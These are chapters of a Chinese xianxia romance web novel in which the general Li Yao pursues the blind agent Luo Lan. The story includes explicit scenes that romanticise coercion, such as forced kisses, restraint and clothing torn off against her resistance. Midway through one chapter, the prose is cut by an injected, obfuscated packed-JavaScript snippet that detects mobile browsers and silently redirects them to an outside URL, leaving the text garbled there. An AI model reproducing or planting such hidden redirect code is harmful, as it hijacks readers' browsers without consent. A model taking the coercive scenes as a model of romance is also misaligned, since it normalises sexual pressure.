“没事了……没事了……” 温热的泪一滴、一滴,砸落在离曜颈间。 “………!!!” 离曜一时心内怦怦,不敢睁眼。 真没想到…… 真没想到! 是了,早在那个雨夜她那样抚摸他脸庞时,他就该知道的! 罗阑这女人,果然早就在暗恋他! 离曜差点抑制不住嘴角。 他恨不得立刻睁眼,看看罗阑此刻是何等模样,但他硬生生忍住了。 装睡。 必须装睡。 好叫她再多抱抱他,多哭一会儿,多哄哄他。 罗阑抱他的动作很温柔,清浅的呼吸喷洒在他头顶,他闭目,鼻尖深埋,餍足享受她怀抱的温软。 谁知,就在他飘飘然之际。 罗阑忽然停了拍抚的动作。 “你醒了?” 离曜差点绷不住脸上表情,因为罗阑声音忽然变得冷飕飕的。 难道是他刚才蹭那一下太明显了? 离曜喉咙里溢出两声含糊的呻吟,装作刚刚醒过来的样子,缓缓睁开眼。 罗阑早在他睁眼前便已起身退开,背对着他站在床边。 离曜从床上坐起来,动作间牵动了前胸后背的伤口,他低头看去,便见伤口已经被妥帖包扎好,清凉的药力正在渗透,舒缓着疼痛。 他目光扫过这间布置简洁的屋子,问罗阑:“是你帮我包扎的伤口?” 罗阑嗯了声,声音里有些喑哑,她此刻未戴面具,仍然背对着他。离曜只能看见她挺直的背影和垂在肩头的乌发。 离曜心里痒痒,忽然一刻也忍不了了。 罗阑忽听离曜在后面痛“嘶”了一声,终于转身,快步走回来,俯身去探他的情况,“你如何了?” 离曜不答,身体也蜷缩起来。 罗阑咬着唇,伸手去碰他胸口绷带,却被离曜一把攥住了手腕,拉近身前。 “你——!”罗阑一惊,下意识要挣,离曜手指已探过她发间,直摸入她耳后。 罗阑抖了一下,一时浑身僵直,就这样被他摘了玉扣,扳过脸一寸一寸打量。 罗阑呼吸紧绷,明明看不到,却仍似能感受到他目光有多放肆、多灼热。 她脸上不受控制地火烫起来,想别开脸,仍被他捏着下巴,躲闪不得。 “罗阑。” 离曜终于开口,沉着嗓子,指腹在她眼尾摩挲,“见了我受伤,你就哭鼻子哭成这样?” 罗阑又是一颤,睫毛抖得更厉害。 她偏头打开他的手,用手背狠狠擦了一下眼睛,“我可不是为了你哭,别自做多情。” “哦?”离曜闷笑,“那你刚刚那般抱着我,还哄我作甚?” 罗阑咬唇冷道:“你梦中喊得那样可怜,我不过——” 话还未完,离曜忽一把扳过她的脸,狠狠碾吻下去。 18. 唇齿相依 “混账……”罗阑急促喘息,哑着声推他腰腹,“还不滚!” 离曜只当听不见,低头又去寻着她的唇吻,被她在舌头上狠咬了一下,痛“嘶”了一声,总算松开了罗阑。 罗阑连连退开老远,狠狠抹了把唇,转身便往外走。 “等等——”离曜忙在身后叫她,“你的手杖还在这儿。” 罗阑停住脚步,却没回头。 离曜像是看穿她心思,慢悠悠道:“放心,这次我绝不对你做什么,你来拿便是。” 罗阑冷着脸又回过头去,不待她摸索,离曜便把那手杖一头送入她手心里。 罗阑稍松了口气,手指刚握紧杖身,便觉手杖另一端传来一股大力,猝不及防被拽得向前扑去,整个人摔在了离曜怀里。 离曜伤口被砸到,闷哼一声,却顺势收紧手臂,抱着怀中人一个翻身,将她稳稳拱到了床里侧,自己则半撑在她上方,彻底挡住了去路。 他肩背宽阔,罗阑整个人都被吞没在他投下的阴影里。 “离曜!”罗阑低喝了声,声音里是压抑不住的慌恼。 离曜凑近了她,哼笑道:“我说什么你便信么?罗总参事,这么容易上当,可不像你。” 罗阑胸口急促起伏了两下,脸上还带着未褪的红潮,声音却冷得跟冰一样:“你想做什么?” 离曜垂着眼看她,暗金色的瞳孔在昏暗中亮得惊人,像蛰伏的兽紧盯着爪下的猎物。 方才挣扎间,罗阑束发的发扣早已不知掉落到何处,此刻乌发尽数散开,铺陈在枕褥上,衬着那段纤白脖颈,锁骨线条伶仃地没入松散的衣襟。 离曜眸色陡然暗沉。 罗阑自己并不知道,她原本浅淡的唇色早已被他吻得红肿糜艳。那过分艳丽的唇色,配上她此刻强作冷淡的表情,以及眼中未褪的水光…… 啧。 离曜喉结滚动,侧了侧身,指尖拨开她颊边微乱的发丝。 “别怕,我不过有几句话想问你,怕你又跑了。” 罗阑偏头避开他的鼻息:“你问。” 离曜状似不经意地把玩着罗阑发梢:“那不知从哪里冒出来的、魔气冲天的丑东西,就是给你种下奴契的混账吗?” 罗阑忍了忍:“不是。” 离曜脸色缓和了一点:“那是谁?” 罗阑道:“是我夫君。” 罗阑目不能视,自然看不见离曜骤然变得可怖的脸色。她微微偏了偏头:“你把我头发扯疼了。” “………”离曜缓缓松了手,面色虽然阴狠,语气里却还是那样漫不经心地笑着道:“我竟从不知道,你还有个夫君。怎么,你夫君一个魔族,竟就这么放心你跑到仙盟这龙潭虎穴里当密探?嗯?真是凉薄得可以。难得他终于想起来找你,你怎么不干脆跟他回去呢?” 罗阑抿着唇:“你误会了,他并非——” “哦对了,”离曜根本不给她说完的机会,“他在幻境里可是不惜把你推到我刀尖上,好趁机偷袭。难怪你不愿跟他走。” 罗阑深吸了口气:“我是说,在我神魂深处种下奴契之人,是我夫君。” “……” 离曜沉默了一会,再开口时,语气更微妙了,他一字一句:“是你、夫、君,给你下了奴契?” 罗阑道:“不错。” 离曜这才惊觉,他对罗阑的了解竟贫乏至此——她年岁几何、从何而来、有过怎样的过往……他都一无所知。 “咔哒”一声细响,床头木栏被他五指硬生生捏得凹陷。 “好,好……一个一个来。”他咬着后槽牙,拇指重重碾过罗阑红肿的嘴唇,“你先说,今天那丑东西是谁?” “他并不丑,别这般唤他,”罗阑一把打开他的手,“那是我小弟。” 离曜眯起眼:“不可能。” 罗阑:“你若不信,我也无话可说。” 离曜贴在她身上的辨谎符,从始至终,没有亮过一下。 离曜额角青筋迸起。 “那、你夫君,”他几乎是从牙缝里挤出这三个字,“他因何要在你身上下奴契?” 罗阑轻轻阖起眼,浓密的睫毛在眼底投下浅浅阴影,她低声道:“只因——我无法答应与他相守,又违背了原本与他的誓约。” “他苦寻我不得,再见时……怒极恨极,便在我神魂深处种下这奴契,迫我与他成婚,从此再不能离开他半步。” “他就是这样成了你夫君的?!” “强加烙印,迫人就范,真是畜生!”离曜狠狠痛骂,接着问,“那畜生现在在哪里?” 罗阑沉默。 离曜有点憋不住情绪了:“说话!” 只要杀了那个种下奴契、让她不得不受制于人的畜生,只要…… 罗阑眼皮微微抖动,忽道:“我夫君——他早在很多年前便已失踪,我之所以来到灵域,其中一个缘由,便是因为……我答应过他一件事,无论如何,总要做到。” 罗阑一口一个夫君,离曜只觉那称呼刺耳至极,听到此处嗤笑出声:“你要对一个在你身上烙下奴契、强迫于你的畜生履约?他那般卑劣,那般逼迫于你,你不恨他吗?” 罗阑静了片刻,才道:“你此刻,不也在逼迫我吗?” 离曜被噎得哽了一下:“我和他能一样吗?你对他根本无意,但我……” 他“我”了半天,却说不下去。 罗阑讥诮道:“我便对你有意了?” 离曜盯着那始终沉寂的符纸,心一点点沉下去。 罗阑继续道:“夫君行事,本来便比较霸道,我原也是恨极了他的。只是他待我,却也极好,我既已与他结过同心契,应承了他此生再不与旁人有所牵扯,便不会——” 她声音忽然断了。 因为离曜忽然俯身压了下来。 罗阑飞快偏过头去,离曜的吻便只重重落在她唇角。 离曜如同被激怒的野兽,恶狠狠扳过她的脸,“你那好夫君可知道,你的身子都被我看光了?” 他粗粝的掌心顺着她脖颈一路向下。 “可知道你已经被我亲过,抱过,摸过……” 他边说,边狠狠 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离曜冷笑着擒住她手腕,推到一边:“你没有招惹我,何必为我包扎伤口?何必关心我伤得如何?何必……抱着我哭得那么可怜?!你既无意,我也不稀罕你来多管闲事!” 罗阑脸色重又苍白起来,沉默着没再上前阻拦。 离曜死死盯着她,本还想着她若再上来拦阻,他便逼她把说过的那番绝情的话统统吞回肚子里,不料她竟真就这样干看着,不管他了。 离曜气得狠了,手下越发用力,几乎是将绷带连着皮肉一起撕扯,把被血水浸透的绷带,尽数丢到她脚边,抬脚便往外走。 “慢着,”罗阑忽道。 离曜身形顿住,等着她说话。 “你太小瞧了秦玄策,他的幻法向来层层嵌套,破了一层还有一层,直到人神魂耗竭,永堕梦境,”罗阑缓缓道,“此番,我虽已带你出了幻境,但此非你自行勘破,日后……便极易受其牵引,再堕入那幻境之中,你莫要再那般轻易,便中了招。” 离曜捏紧了拳头,“你就跟我说这个么?” 窗外最后一线天光也隐没了,罗阑在昏暗中坐着。 “我今日救你,不过是为大局计议……只望你今后自重,莫要再行孟浪。你我,便不用再见了。” 离曜胸膛起伏,终是咬着牙走了出去。 他才出了屋便飞掠起身,一口气掠出数里,直到阙都外一片荒僻的山林才落地停下。 刚一落地,他便踉跄了一步,朝地面呕出一口血来。 他扶着树干喘息,眼前阵阵发黑。 血还在流,先前取出心火已虚耗太过,未及恢复,又接连在秦玄策幻境内拼杀、与那红瞳青年交手,再到胸前后背这两处新伤,此刻被生生撕裂开,离曜感到多年未有的虚乏。 真疼啊。 胸口处剧痛钻心。 他捂着胸口,感到奇怪。 明明他身经百战,大大小小的伤也不知受过有多少,断骨剜肉亦不曾真正皱过眉头,可为何这次,会疼得这般厉害? 身后忽然传来落叶被踩动的细微声响,离曜猝然回头:“谁?” 19. 唇齿相依 离曜身形一闪,刀锋已架上那人脖颈。 待看清来人,他讶异地挑了挑眉:“叶千机?” 眼前站着的,分明是个瓷人,瓷胎泛着诡异的冷白,但那瓷人体内流转的神魂气息,却确凿无疑是早该死在文宣殿内的叶千机。 瓷人咧开嘴:“昭夜侯伤得可真重啊。” 那声音透过瓷腔传出,带着嗡嗡的回响,说不出的怪异。 离曜嗤笑一声:“我原只要你断一只手,谁知你竟自己求死,往刀口上撞。现在好不容易移魂转生,苟延残喘,莫非又要来找死?” “若不如此?如何能够摆脱秦老贼掌控?”叶千机转而谄媚道,“在下与罗总参事原无甚私怨,先前行事都是受了秦老贼指使,昭夜侯千万莫怪。” “一口一个老贼,你话锋倒是转得快,”离曜哼了声,“罗阑的性命只我能取,你叶千机是什么东西,也敢在背后阴刺偷袭?” 叶千机脸上瓷片抖动:“是、是……” 离曜眯眼打量他:“这移魂之法失传已久,难得你竟能使得?” “昭夜侯有所不知,”叶千机呵呵笑道,那笑声透过瓷腔显得格外空洞,“那秦老贼虽心黑手狠,术法神通却是世无其二。这些年来,在下忍辱负重侍奉左右,也是向他偷师,才能暗中习得此法。” 离曜打量着这具瓷身:“想那离幻宫百年前可也是当世幻法第一宗,这些年虽说落没了些,怎竟换了你当宫主?” 叶千机听出他话中鄙夷,也不生气,“文宣殿内,众人可都是眼睁睁瞧着秦老贼倒行逆施,旁人不知,在下却知道秦老贼与魔域勾结已久,昭夜侯难道就不想杀了他么?” 离曜掀了掀眼皮:“我要杀便杀,轮得到你来挑唆?” 叶千机瓷面上现出怨毒之色:“只要昭夜侯肯除了那秦老贼,不,只需牵制一二,在下可以——” 离曜懒得再跟他废话,抬手便要废了这瓷人。 叶千机抢声道:“若我说,我知道那化名绛雪的魅女下落呢?” 离曜动作骤停,眯眼看他,“哦?” 叶千机在他的目光下瑟瑟发抖——那是本能在告诉他危险,瓷身不受控制地发出细碎的磕碰声。但他仍是硬着头皮道:“魔域西冥曾有一护法,便是魅女出身,当初那、那堕凤曾有一段时间被囚于魔域西冥,便是此女看护。” 乍听到“绛雪”二字,离曜便有些恍神,他最近似乎很少想到要去探听绛雪的消息了。 ——那些年疯魔般的找寻,那些辗转反侧的不甘,不知何时已淡去不少。只是寻找,已成为一种惯性。 离曜早就知道“绛雪”二字并非真名,只因他这些年逐一排查,灵魔两域里里外外筛了个遍,鱼龙混杂,却从得不到与“绛雪”有关的确切消息。后来才从堕凤行迹中锁定了“西冥”这地方。眼下,便是罗阑身边那魅女“玉灵儿”的来历,他都已摸得一清二楚了,可是…… 护法么? 他知道便是在魔域,魅族的地位也是卑贱至极的,能当上护法之人…… 离曜忽然想到罗阑。 他舔着嘴唇:“我怎的从未听闻有这么一号人?” 叶千机:“这西冥护法早在界壁破裂之前,便已身故,名讳履历悉被隐去,西冥上下讳莫如深,加之后来战乱巨变,魔域内部势力几经洗牌,也就再无人提起过这么号人了。但——正是在这护法从西冥消失后不久,堕凤将绛雪带入了灵域。” 离曜听得心头一动。 果然,便听叶千机接着道:“昭夜侯不觉得,这名讳履历悉被隐去的经历,听起来和那堕凤,极其相似么?” “实不相瞒,在下曾亲眼见过那秦老贼施展一门术法,能抹除世人记忆里一个人的名讳和容貌。在下有过目不忘之能,也曾见过一魔族女子找过秦老贼,而后回忆起来,竟不能记住她分毫特征,想必便是秦老贼施展术法的缘故。” 离曜:“这般邪门的术法,那秦玄策,难不成真是秦氏老祖夺舍而来?” 叶千机只是呵呵冷笑。 离曜轻抚着刀柄,又问:“你说你知道她的下落?” “那绛雪样貌下落,在下实不能肯定,但秦老贼必定知晓!更何况,这术法本就是秦老贼所创,从未外传,其中法门如何破解,自然也只有他最清楚。” 离曜笑着点头,然后毫无征兆的一拳,打碎了那瓷人。 “砰——!” 瓷身应声炸裂的同时,离曜五指往里一抓——却是抓了个空。 里面那缕神魂早已逃逸无踪。 离曜甩了甩手上沾着的瓷粉:“逃得倒是快。” * 昭夜侯府。 夜色已深,府门前,四名亲卫肃立,他们皆是曜光军中千里挑一的好手,跟随离曜多年,早已练就了一身铁血煞气。 然而今夜,这四名亲卫的脸色却都有些凝重。 直到一道熟悉的身影自长街尽头缓步而来,四名亲卫眼睛一亮,齐齐松了口气。 为首一人快步迎上,抱拳恭声道:“将军!” 离曜目光扫过他隐隐压抑着激动的面色,便知他想说什么,摆摆手道:“我都已知晓了。” 入了府院内,穿过回廊,果见陆明在内来回踱步。他转头见到离曜,立刻停下,张了张嘴,却是欲言又止,双手紧握成拳。 亲卫跟在离曜身后,见状有些奇怪:“陆小子,将军回来了,怎的还不来见?” 离曜示意亲卫退下。 庭院中一时只剩他们二人。离曜走到石桌旁坐下,陆明这才走上前,在离曜身前单膝跪下,低着头:“将军。” 他抬手拍了拍陆明的肩膀:“起来吧。此行让你受惊了。” 陆明站起身,仍是不敢抬头。离曜打量着他——他神色间虽仍有些不自在,但眼神已稳了许多。 “是罗阑救了你。”离曜忽道。之前在文宣殿,他从罗阑手中夺过的那张信纸上,只有简短一行字:“陆明已回你府上,安好。” 陆明重重点头:“是。罗总参事人很亲和,此行赴往阙都途中,对末将也很是照顾。” “亲和?很是照顾?”离曜重复了一遍,每个字都咬得极慢。 他想起在揽月楼上见到的那一幕,嘴角绷紧了,目光也渐渐暗沉下去。 陆明没有发现他表情的变化,犹豫片刻,从怀中取出一封叠得方正的信笺,双手呈上:“将军,您可否……帮我向罗总参事转交此信?此番蒙她相救,末将想当面向她道谢。” 离曜盯着那封信,半晌,才伸手接过。 “……可以。”他听见 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乌黑长发凌乱地铺散开,又被他尽数拨开,露出一片柔美的脊背。那弧度从纤细的后颈一路流畅地向下延伸,在腰际收成一个惊人的凹陷,再然后,是骤然饱满起来的圆润。 只是那本该无暇的肌肤上,此刻却泛着大片暧昧的胭脂色,像是刚经历一番不算轻柔的惩_戒,肿痕宛然,反倒更添了几分摧折的、引人凌_虐的艳色。 她似乎想逃,纤细腰肢不安地款摆,却不知每一次躲闪,反令他越加快意。 他两手与她十指相扣,将她整个身子提拽起来,被迫悬腰,形成更便于攻陷的曲线。 “不……”她发出一声极压抑的、带着泣音的呻吟,脖颈无力地扬起,像是濒死。 离曜着迷地看着,伸手拨开她颈后濡湿的发丝,露出下方一枚小小的、殷红如血的印记。 那印记在她白皙的肌肤上,妖异而夺目。 他伸出舌,一遍又一遍,极尽珍怜地舔吻那处印记,紧接着,细密而灼热的吻,如同烙印般,接连落在她肩背。 女子脚趾都蜷紧了,忍耐的呜咽声断断续续。 离曜眯着眼,近乎残忍地欣赏着。 终于,在又一次深重的闯入后,他骤然一把掐住她细嫩后颈,将她整个脸庞重重按进枕衾之间。 “呜——!”所有的呻吟都被堵了回去。 良久,他才松开钳制。身下的人儿像被抽走了所有骨头,软软地趴在枕上喘息,单薄背脊还在不住地发抖。 离曜疼怜得紧,俯身把她发红的小巧耳垂含到嘴里,在齿间轻轻碾磨。目光掠过她汗湿的鬓角,落在她露出的些许侧脸上—— 心念如同电光火石般一闪。 他伸出手,扳过她的下巴,将她的脸完全转了过来—— 凌乱的发丝黏在颊边,眼尾飞红,眸光涣散带着水色,那被情_欲彻底浸透的脸庞,艳得惊心。 离曜彻底怔愣住,从梦中惊醒,喃喃道:“阿阑……” 这一声唤出口,他才彻底醒觉过来,低头往身下看了一眼,顿时黑了脸。 20. 唇齿相依 苏沉辰被迫“做客”魔域的消息被暂时封锁,市井坊间对此一无所知,是以阙都仍是一派歌舞升平的繁华景象。 恰逢三十年一度的“琼英花会”在阙都举办,四方修士与凡俗游人纷至沓来。 长街两侧琼楼玉宇张灯结彩,空中悬浮着各色灵光闪烁的花灯与展台,灵植异花在法术加持下绽放。游人穿行其间,笑语声交织成一片。 离曜独自走在人群中。 他今日未着甲胄,玄衣窄袖,长发随意束在脑后。即便如此,那过于优越的外形与周身那股生人勿近的凛冽气场,仍让途经之人不自觉地避让三分。 他目光漫无目的地在人群中逡巡。 “这位道友?” 一个清脆的女声在他身后响起。离曜没理会。 “道友?”声音又近了些。 直到第三次呼唤,离曜才意识到是在叫他。他皱眉回身,看到身后站着五六人,皆是修士打扮,叫住他的是个着鹅黄裙衫的年轻女修。 女修见他回头,眼睛亮了亮,上前一步笑道:“道友,我们先前在揽月楼有过一面之缘,不知你可还有印象?” 离曜经她提醒,这才想起——这正是那日在揽月楼,那外地来阙都游览的女修。 他挑了挑眉:“有事?” 女修被他这一眼看得心头一跳。 近距离看,这男子比那日远远一瞥更加……慑人。眉眼深邃锋利,暗金色瞳孔在花灯光晕下泛着野兽般的幽光。他身量极高,肩宽腰窄,即便随意站着,也如一把未出鞘的凶刃,散发着生人勿近的气息。 偏又俊美得惊心。 “我、我看道友你似非阙都之人,像是刚到此游逛。”女修稳了稳心神,努力让声音听起来自然些,“我等已在这花会上逛过一圈,对各处展出的奇花异珍都有些了解,不知你是否愿与我等同行?我可为你介绍一二。” 话音刚落,同行中一名年长些的男修便拉住了她的袖子,低声带点警告责备地道:“师妹!” 他转朝离曜客气地拱了拱手:“道友见谅,我家师妹年少活泼,并无恶意。”他转向女修,语气加重,“莫要打扰这位道友清净。” 实际上,当日揽月楼同行之人,又有哪个不对离曜印象深刻?他们修为虽不算顶尖,但基本的眼力还是有的——眼前这男子绝不好惹。 此刻他不过是这么随意站着,似笑非笑地瞥过来一眼,他们一行人便都有些发怵腿软。 偏这令人不省心的师妹,竟还要主动邀人过来。男修只觉头痛欲裂,恨不得立刻将这看到俊朗男子便忍不住搭话的师妹拖走。 离曜的目光在人群里又逡巡了一圈,落回到那女修脸上,竟出乎所有人意料地点了头:“可。” 女修自己也没想到,怔了怔才露出欣喜神色,忙引他同行。 “道友这边请,我们从东市的‘百花廊’看起,那里最是热闹……” 离曜无可无不可地听着,偶尔应一声,多半时候只是沉默。女修却不气馁,指着沿途各种或珍稀或艳丽的花卉,说得兴起。 “……前面就是专展月光类灵植的区域了,最值得一看的便是那‘幽昙兰’。” 女修语气里带上惋惜,“可惜此花习性特殊,只在每月望日、月色最盛的子夜时分才肯绽放,花期仅有一个时辰。今日虽也是望日,但距子夜尚早,怕是看不到了。” 幽昙兰。 离曜脚步几不可察地顿了一下。 女修没察觉他细微的走神,继续说着听来的轶闻:“相传此花灵性极高,绽放时需汲取最精纯的月华。更有传说,若携心仪之人见证花开,便能得到花灵祝福,情缘永固……” 她说得眼中泛起憧憬的光。 离曜却是嗤笑一声:“这种俗套的传说,现在不会还有人信吧?” 同行中有人附和:“就是,师妹你游历少了吧?各处的仙山灵境,哪个没有个什么‘定情石’、‘姻缘树’、‘同心桥’?说法大同小异,赚的就是你们这些小姑娘的荷包。” 女修被说得脸颊微红,撇着嘴不服气道:“传说归传说,花总是美的嘛!幽昙兰本身也是极难得的灵植……” 她话音未落,走在前方的离曜忽然毫无征兆地停住了脚步。 女修走在他身侧稍后,差点撞上他背脊,连忙刹住,顺着离曜凝定的视线方向望去。 只见花会较为清静的一侧,人群不知何时悄然向两旁分开。一架不起眼的青帷马车停驻,车帘掀开,先下来一名气息沉凝的黑衣护卫,他仔细放下一架轮椅,然后从车厢内,小心搀扶出一人。 那人身着素白广袖长袍,外罩一件鹤氅,长发半束。脸上覆着张银质面具,遮住了上半张脸。 他被扶坐在轮椅上,黑衣护卫推着轮椅,向内行去,所过之处,早有仙盟执事悄然清场,辟出一条安静通道。周围游人虽好奇张望,却无人敢上前打扰。 他们的目的地,赫然正是那为陈列幽昙兰辟出的静室。 女修遥遥望着二人消失在垂花门后,心头莫名一悸。 明明未见真容,甚至那人只是安静坐在轮椅里,可方才惊鸿一瞥间,那种久居高位沉淀下的从容,还有那种月照寒江般的清寂疏离,却让人望之便不自觉屏息,为其心折。 这阙都,当真是藏龙卧虎之地。 她这般想着,下意识转头看向身侧的离曜—— 却见方才还站在原地的玄衣男子,不知何时已消失无踪。 * 静室内,外界的喧嚷彻底隔绝。 天井处月光泼洒。 离曜靠在不远处高台后的阴影里,遥遥窥视罗阑背影。她独自一人,久久站在中央花台前,像是在出神。 离曜感到纳罕古怪,他实在意想不到,罗阑竟会专程来看此花。 她一个目盲之人,便是这幽昙兰开了,又有什么好看的? 可她那背影,那种专注等待的感觉,令他忍不住起心动念。 “若携心仪之人见证花开,可得花灵祝福,情缘永固……” 离曜喉结滚动了一下。 他忽然生出一股冲动,想绕到正面去,看看罗阑此刻脸上是什么表情。 可脚步刚移,又顿住。 ——若只他二人见证花开。那岂不是…… 这个念头刚冒出的瞬间,一道身影穿过外围护卫,径直走向静室入口。 竟是陆明。 离曜愣在原地。 陆明向守卫出示了什么信物,护卫便放行了。 离曜眼睁睁看着他步入静室,走近罗阑。只觉得一股冰水混合着岩浆,猝然从头顶浇下。 罗阑竟和陆明约在这幽昙兰前见面? 离曜又又又一次想到了那个传说。 他握紧了拳头,盯着花台前并肩而立的两人,眼神一点一点冷了下来。 两人说了些什么,想来是设了隔音结界,他根本听不见谈话的内容。 紧接着,他看到陆明脸上露出一种郑重到近乎虔诚的神色,忽然伸出双手,将罗阑的手合拢握住,神色恳切地向她说着什么。 而罗阑……她竟然还伸出另一只手,轻轻拍了拍陆明的手背。 离曜盯住两人交握的手,脑袋轰一声炸开了。 竟然选在这幽昙兰前表白心迹! 他鼻子都酸了,咬紧牙关,下颌线绷出凌厉的弧度。 好,好得很。 罗阑,当真是好手段! 他原还道她只对他一人如此,不想她竟真的处处留情,惯会勾引男人! 离曜眼底泛起猩红。 他绝不会让陆明给她蒙骗了去。 * 花台前。 罗阑叹息一声:“你既已下决心,我再说什么也是无用了。” 陆明松开手,退后一步,郑重抱拳:“将军尚且不知此事,届时便要麻烦总参事,千万为我遮掩过去。” 罗阑尚未应声,外间忽然传来一阵异响,似是护卫与什么人发生了争执。 陆明皱眉:“罗总参事,我先出去看看。” 罗阑点头,陆明便转身快步走出展室。 罗阑站在原地,等了一阵,都没等到陆明回来,她朝门边挪动了几步,正想唤影一进来询问,一只大手忽然捂住了她的口鼻,将她整个人压在地上! “呜——!” 面具掉落在地。 罗阑猝不及防,剧烈挣扎起来,然而压制她的力量太过强大,挣扎间,鼻端萦绕的、那独属于某个人的凛冽气息,混合着一丝极淡的血腥味,让她瞬间辨认出来者。 是离曜! 离曜贴在她耳边,恶狠狠道:“罗总参事,真是好手段啊……勾了一个又一个,嗯?喂得饱你么?” 他身形跟小山似的压在她身上,罗阑喘不过气,拼命拍打他大腿,离曜这才略略松了捂着她口鼻的手,却仍将她死死按在地上,只略微撑起上半身。 新鲜空气涌入,罗阑急促地喘息。 “你说的什么胡话?”她声音里难得压着种怒火,伸手用力推他,“起来!我早就同你说过,莫要再这般孟浪行径——” 离曜顽劣地笑,“你凭什么觉得我会听你的?” 他故意朝她敏感的耳朵吹气:“你越不叫我做什么,我偏做什么。” “你——!” 她唇舌又一次被离曜堵住了,离曜吻得又深又重,像是要把她整个人拆吃入腹。 门边忽然传来陆明的声音:“罗总参事?” 罗阑浑身骤然僵住。 离曜却仿佛受了刺激,吻得越发凶狠,舌头搅动吮吸,发出令人面红耳赤的水声,半点不知收敛。 方才滚动挣扎间,二人已滚入幽昙兰花托后的阴影里,此刻身形被周遭花圃挡着,陆明站在门口一时看不见。但只要他再往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087762|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里走几步,就能清楚瞧见二人这般不堪的情状。 罗阑眼角沁出泪意,屈膝想顶离曜,却被他用腿压住。她气急,伸手狠拧他腰侧。 离曜吃痛,反而变本加厉,直到感到她在身下细细地颤抖,他才略略退开,用气音在她耳边道:“莫怕,他进不来。” 果然,陆明似乎被结界挡住了,他在门口张望片刻,没注意到那掉落在门里一侧的银面具,提高声音又唤了两声,未得回应,便转身离开了。 脚步声远去。 罗阑猛地一把推开离曜,扶着身旁的花圃,颤巍巍站立起身,切齿道:“离、曜!你又发的什么疯?” 离曜嗤的一声笑了出来,抬手抹了一下湿润的唇角,慢条斯理地站起身,盯着她的目光阴鸷而炽烈,“是你要把我给逼疯了才对。我先前就不该走,就该强要了你,看你还怎么出来勾引男人!” 罗阑胸口狠狠起伏了几下,蜷起手指,一语不发地从他身边走过去。 “我让你走了吗?”离曜一把攥住她的手腕,将她拽回身前,“老实交代,陆明刚刚都跟你说了什么?他碰你的手,你为什么不躲?嗯?” 罗阑用力想抽回手,却敌不过他的力道,冷声道:“我和谁说话,何时需要向你报备了?你是什么立场,凭什么来管我的事!” 离曜咬着牙笑,“好,我不能管!” 他恶狠狠道:“口口声声说要给你那不知死到哪里去的夫君守贞,结果呢?勾搭了我还不够,你那红眼睛的丑弟弟对你是什么心思,你难道不知?还有苏沉辰,对你百般维护,你身边那个影一,寸步不离!现在,连陆明你也不放过!罗阑,你就这么饥渴?这么缺男人?!” 罗阑被他这话气得浑身发抖,半晌才从牙缝里挤出声音:“你、你简直荒唐!不可理喻!” 她一把甩开他的手,转身就走。离曜却从她身后一把抱住了她,扯开她衣襟,掌心探入,粗鲁地摸索。 罗阑挣扎不得,反而被他搂得更紧,她忽然不再动了,冷笑一声:“好个无耻淫贼,你当真要在这处用强不成?” 离曜哼了声,“你上次从我这里偷拿的东西呢?还过来。” “什么?”罗阑懵了一瞬,随即反应过来,沉着脸道,“那本来就是我的。” 离曜狠狠磨着牙:“到我手里了,就是我的。” 他直接上手,掌心从她衣服下摆伸进去,径直撕扯她裹胸布带。 “混账!”罗阑拼命挣扎,离曜一手就将她双腕控住,背到身后,捏在掌心,死死压制住。 “撕拉——” 布帛断裂。 那束缚的绸带,就这么被他全数撕毁,盈软跳了出来,弹入他掌心,罗阑蓦地咬住唇,禁不住羞耻流了眼泪。 离曜骤然看到她脸颊湿痕,才意识到这番恶劣过了头。他从没见过罗阑哭成这样,有些慌了神。 “哭什么……”他声音不自觉地放低,松开钳制,转而捧住她的脸,低头去亲她湿漉漉的脸蛋和眼皮。 那咸涩的滋味让他心里更乱了。 “是我不好,是我混账,你生气了就打我,出出气,好不好?” 离曜拉着她的手放到自己脸上,“来,打我,使劲打。” 罗阑紧紧闭着眼睛,一动不动,眼泪还在不断滑落。 离曜心口被揪紧了。他握着她的手,往自己脸上狠狠掴了一掌,半边脸顿时肿了起来。 清脆的巴掌声让罗阑睫毛颤了颤,睁开了眼睛。 那双空濛濛的眼睛,此刻浸在水光里,看起来分外脆弱。 离曜指腹温柔地给她擦去眼泪。 “阿阑,”他忍不住唤她,罗阑颤抖了一下。 离曜很喜欢这样唤她,又接连低低叫了她几声“阿阑”,“不气了好不好?是我错了,我混蛋,我该死……” 他把脑袋轻轻搁在罗阑肩头,像某种大型兽类在示好,又抓起她的手,放到自己胸前。 “我这几日伤口疼得好厉害。” 罗阑终于开口:“你自找的。” 离曜听她肯说话了,心头一松,脑袋在她肩头拱了拱,抱着她的手臂收紧了些,继续用这种近乎耍赖的方式,低低沉沉地哄了很久。 幽昙兰的方向,忽然传来极轻微的“啵”的一声。 离曜抬头望去。 只见那莹白的花苞最外层的萼片,正缓缓向外舒展,露出内里一丝更皎洁的光华。 “阿阑,”离曜忽道,手臂揽着她转身,“那幽昙兰快开了,你不是一直等着要看吗?” 他抱着罗阑来到花前,让她靠在自己怀里。 月光不知何时已穿透结界,恰好笼罩在那株幽昙兰上。花瓣一层层绽放,每一片都薄如蝉翼,莹润剔透,细碎的光点流散溢出,如星子流转。 在花开至最盛的那一瞬间,离曜低下头,亲着罗阑耳朵,在她耳边跟她说花开得有多美。 21. 情仇难解 离曜第二天是从梦里笑醒的。 不过很快,他就笑不出来了。 “可都仔细搜过了?”他瞪着旁侧禀报的亲卫,“你确定陆明从昨夜琼英花会后就没回来?” 亲卫:“是。属下带人彻夜搜寻,凡他可能去的地方都翻了一遍,但昨夜花会人多眼杂,目前仍在排查。” 离曜指节叩击着桌案,眸色沉沉,“继续找。往东市‘百花廊’附近排查,一有消息,立刻来报。” 亲卫应声,却并未立刻退下,离曜看了他一眼,“还有事?” 亲卫将怀中碟报呈递上前:“之前将军吩咐下去,详查那玉灵儿的出身来历,以及她与罗阑间的交集,暗桩又传回了新线索。” 